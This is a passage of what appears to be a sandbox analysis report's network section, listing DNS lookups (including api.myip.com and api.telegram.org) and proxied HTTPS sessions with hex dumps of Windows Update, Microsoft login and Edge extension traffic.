Nov 21, 2024 22:09:08.801462889 CET	192.168.2.4	1.1.1.1	0xac59	Standard query (0)	api.myip.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:23.873389959 CET	192.168.2.4	1.1.1.1	0xff2e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:23.873523951 CET	192.168.2.4	1.1.1.1	0x12c9	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 22:09:29.351800919 CET	192.168.2.4	1.1.1.1	0x98c9	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:29.351963997 CET	192.168.2.4	1.1.1.1	0x400e	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 21, 2024 22:09:29.433039904 CET	192.168.2.4	1.1.1.1	0x6f05	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:31.865062952 CET	192.168.2.4	1.1.1.1	0xaad9	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:31.865178108 CET	192.168.2.4	1.1.1.1	0x205a	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 21, 2024 22:09:32.392816067 CET	192.168.2.4	1.1.1.1	0x4200	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:32.392957926 CET	192.168.2.4	1.1.1.1	0xfab8	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 21, 2024 22:09:33.469094038 CET	192.168.2.4	1.1.1.1	0x5716	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:33.469265938 CET	192.168.2.4	1.1.1.1	0x92a3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 21, 2024 22:09:33.469563961 CET	192.168.2.4	1.1.1.1	0x5170	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:33.469681025 CET	192.168.2.4	1.1.1.1	0xe3d5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 21, 2024 22:09:33.558383942 CET	192.168.2.4	1.1.1.1	0xd290	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:33.558803082 CET	192.168.2.4	1.1.1.1	0xa48b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 21, 2024 22:09:34.713958025 CET	192.168.2.4	1.1.1.1	0x1936	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:34.714394093 CET	192.168.2.4	1.1.1.1	0x3d1c	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 21, 2024 22:09:34.721226931 CET	192.168.2.4	1.1.1.1	0x765c	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:34.721390009 CET	192.168.2.4	1.1.1.1	0x73c5	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 21, 2024 22:09:34.853478909 CET	192.168.2.4	1.1.1.1	0xded	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:34.853831053 CET	192.168.2.4	1.1.1.1	0x8524	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 21, 2024 22:09:34.993594885 CET	192.168.2.4	1.1.1.1	0xd450	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:34.993768930 CET	192.168.2.4	1.1.1.1	0xaaeb	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 22:09:09.024184942 CET	1.1.1.1	192.168.2.4	0xac59	No error (0)	api.myip.com		104.26.8.59	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:09.024184942 CET	1.1.1.1	192.168.2.4	0xac59	No error (0)	api.myip.com		172.67.75.163	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:09.024184942 CET	1.1.1.1	192.168.2.4	0xac59	No error (0)	api.myip.com		104.26.9.59	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:24.010349035 CET	1.1.1.1	192.168.2.4	0xff2e	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:24.010713100 CET	1.1.1.1	192.168.2.4	0x12c9	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 22:09:29.489041090 CET	1.1.1.1	192.168.2.4	0x98c9	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:29.490521908 CET	1.1.1.1	192.168.2.4	0x400e	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:29.570596933 CET	1.1.1.1	192.168.2.4	0x6f05	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:32.006961107 CET	1.1.1.1	192.168.2.4	0x205a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:32.114312887 CET	1.1.1.1	192.168.2.4	0xaad9	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:32.538373947 CET	1.1.1.1	192.168.2.4	0x4200	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:32.538373947 CET	1.1.1.1	192.168.2.4	0x4200	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:32.539648056 CET	1.1.1.1	192.168.2.4	0xfab8	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:33.606276035 CET	1.1.1.1	192.168.2.4	0x5170	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:33.606276035 CET	1.1.1.1	192.168.2.4	0x5170	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:33.606456995 CET	1.1.1.1	192.168.2.4	0x5716	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:33.606456995 CET	1.1.1.1	192.168.2.4	0x5716	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:33.607681036 CET	1.1.1.1	192.168.2.4	0xe3d5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 21, 2024 22:09:33.608988047 CET	1.1.1.1	192.168.2.4	0x92a3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 21, 2024 22:09:33.695914984 CET	1.1.1.1	192.168.2.4	0xd290	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:33.695914984 CET	1.1.1.1	192.168.2.4	0xd290	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:33.696255922 CET	1.1.1.1	192.168.2.4	0xa48b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 21, 2024 22:09:34.852626085 CET	1.1.1.1	192.168.2.4	0x1936	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:34.852626085 CET	1.1.1.1	192.168.2.4	0x1936	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:34.852626085 CET	1.1.1.1	192.168.2.4	0x1936	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:34.852626085 CET	1.1.1.1	192.168.2.4	0x1936	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 21, 2024 22:09:34.859772921 CET	1.1.1.1	192.168.2.4	0x765c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:34.863045931 CET	1.1.1.1	192.168.2.4	0x73c5	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:34.992340088 CET	1.1.1.1	192.168.2.4	0xded	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:34.992750883 CET	1.1.1.1	192.168.2.4	0x8524	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:35.130247116 CET	1.1.1.1	192.168.2.4	0xd450	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 22:09:35.131757021 CET	1.1.1.1	192.168.2.4	0xaaeb	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
2024-11-21 21:09:36 UTC	172.64.41.3	192.168.2.4	0x0	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	true
2024-11-21 21:09:36 UTC	172.64.41.3	192.168.2.4	0x0	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	true

HTTP Request Dependency Graph

slscr.update.microsoft.com

fs.microsoft.com

clients2.googleusercontent.com

chrome.cloudflare-dns.com

edgeassetservice.azureedge.net

msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com

data-edge.smartscreen.microsoft.com

https:

assets2.msn.com

browser.events.data.msn.com

www.googleapis.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HAfoF53L47c7EP+&MD=v3okLSN6 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 21:09:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f4b6bf99-52ab-4002-9d29-dbb1bf172ae1 MS-RequestId: d654a47e-d288-4050-9a95-910ab7f550b1 MS-CV: kSXrY3kFbEeCjXrB.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 21:09:21 GMT Connection: close Content-Length: 24490
2024-11-21 21:09:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-21 21:09:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49752	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:29 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 21:09:30 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=156917 Date: Thu, 21 Nov 2024 21:09:29 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49763	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:31 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 21:09:32 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=156970 Date: Thu, 21 Nov 2024 21:09:32 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-21 21:09:32 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49762	40.126.53.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 21:09:32 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:09:32 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:08:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BL2 x-ms-request-id: 01866651-986b-4d3a-958a-8578d5fdad76 PPServer: PPV: 30 H: BL02EPF0001D823 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:09:31 GMT Connection: close Content-Length: 1276
2024-11-21 21:09:32 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49771	142.250.181.65	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:34 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:35 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC58AP8cgy8QCSMfjlA1phiguxydtiLgrGzyfe-eWYeYAybEI-ZVJvb7JRg57XNhsGcHgCo X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Thu, 21 Nov 2024 16:45:00 GMT Expires: Fri, 21 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 15874 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-21 21:09:35 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-21 21:09:35 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-21 21:09:35 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-21 21:09:35 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
